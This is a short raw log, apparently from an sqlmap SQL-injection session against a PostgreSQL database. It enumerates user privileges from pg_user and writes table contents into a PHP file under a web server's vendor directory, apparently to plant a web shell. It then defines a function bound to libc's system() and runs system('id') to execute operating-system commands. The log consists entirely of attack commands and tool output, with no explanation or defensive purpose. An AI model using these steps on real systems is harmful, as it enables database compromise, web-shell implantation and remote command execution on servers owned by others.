SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

SELECT mycol FROM mytable limit 1

sql-shell> COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php';
[13:12:07] [INFO] fetching SQL query output: 'COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php''
[13:12:07] [INFO] retrieving the length of query output
[13:12:07] [INFO] retrieved:
[13:12:08] [INFO] retrieved:
sql-shell>

sql-shell> CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;:  'NULL'
sql-shell> SELECT system('id');
[13:17:35] [INFO] fetching SQL SELECT statement query output: 'SELECT system("id")'
[13:17:36] [INFO] retrieving the length of query output
[13:17:36] [INFO] retrieved:
[13:17:36] [INFO] retrieved:
sql-shell>